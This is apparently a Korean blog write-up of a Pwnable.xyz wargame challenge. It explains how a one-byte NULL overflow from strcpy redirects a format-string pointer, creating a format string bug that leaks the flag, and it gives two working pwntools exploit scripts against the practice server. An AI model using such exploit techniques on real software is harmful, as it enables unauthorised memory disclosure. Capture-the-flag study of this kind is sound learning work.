거의 일주일넘게 꽉 막혀있었다가 Jisoon Park님의 포스팅 덕분에 이해할 수 있었습니다.
setting 함수는 main의 23번째 줄에서 보이는 qword_601160에 "%s\n"을 세팅하는 역할을 합니다.
이제 main 함수를 봅시다. 맨 처음 buf 변수에 입력을 받고 마지막 글자를 NULL로 변경합니다. 여기서 overflow가 발생해 v7을 침범하긴 하지만 그다지 유용하지는 않습니다. 그리고 0x84바이트로 크기가 잡혀있는 src 변수에 0x80바이트를 입력받고 이를 usr로 copy합니다. 이후 %s\n 포맷으로 usr를 출력하고 프로그램은 종료됩니다.
usr과 qword_601160이 메모리 상에 어떻게 위치하는지를 확인해보면 흥미로운데, usr+0x80이 qword_601160입니다.(이 부분을 찾지 못해 전혀 감을 잡지 못했습니다.)
일단 원래 read 함수는 입력이 끝난 후 NULL을 쓰는 함수가 아닙니다. 그러나 src에 0x84바이트를 malloc받으면 여기에는 zero fill이 됩니다.(관련 글) 그러면 src에 0x80바이트를 꽉 채워서 작성할 경우 strcpy 함수를 통해 usr에 0x81바이트가 쓰이게 됩니다. 그리고 마지막 바이트는 NULL이니 0x601160번지에 NULL이 써지는 것이고, 0x601160번지에 들어있던 0x601168이라는 주소는 0x601100으로 바뀌게 됩니다.
0x601100번지는 usr+0x20으로, src에 0x20글자를 아무거나 입력한 이후 format string을 적어주면 format string bug를 이끌어낼 수 있는 것입니다.
flag는 0x601080에 존재하고 PIE가 꺼져있으니 서버에서도 동일한 위치에 있음을 짐작할 수 있습니다. 그러니 buf에 0x601080을 8바이트 단위로 잘 맞춰서 써주면 스택 어딘가에는 0x601080이 올라가있을 것이고, 이를 잘 찾아내 %s로 출력해주면 됩니다. 우선 %p로 0x601080이 올라간 위치를 찾아봅시다.
from pwn import *
p = remote("svc.pwnable.xyz", 30004)
print(p.readuntil(':')) # Are you 18 year @@@
p.write('y' * 8 + p64(0x601080))
formatstr = "%p %p %p %p %p %p %p %p %p %p %p %p"
print(p.readuntil(':')) # Name:
p.write('A' * 32 + formatstr + 'A' * (0x80 - 32 - len(formatstr)))
print(p.readuntil("AAAAA"))
보면 9번째에 0x601080이 걸리는 것을 볼 수 있습니다. 이제 9번째를 %s로 바꿉시다.
from pwn import *
p = remote("svc.pwnable.xyz", 30004)
print(p.readuntil(':')) # Are you 18 year @@@
p.write('y' * 8 + p64(0x601080))
formatstr = "%p %p %p %p %p %p %p %p %s"
print(p.readuntil(':')) # Name:
p.write('A' * 32 + formatstr + 'A' * (0x80 - 32 - len(formatstr)))
print(p.readuntil("AAAAA"))
FLAG를 찾는데 성공했습니다.
bss에서 메모리가 어떻게 배치되어있는지를 확인하지 않았고, malloc이 맨 처음엔 zero fill을 한다는 사실도 이전에 모르다가 이번에 알게 됐네요.
'워게임 > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] misalignment (0) | 2019.03.06 |
---|---|
[Pwnable.xyz] add (0) | 2019.03.05 |
[Pwnable.xyz] sub (0) | 2019.03.05 |
[Pwnable.xyz] Welcome (0) | 2019.03.05 |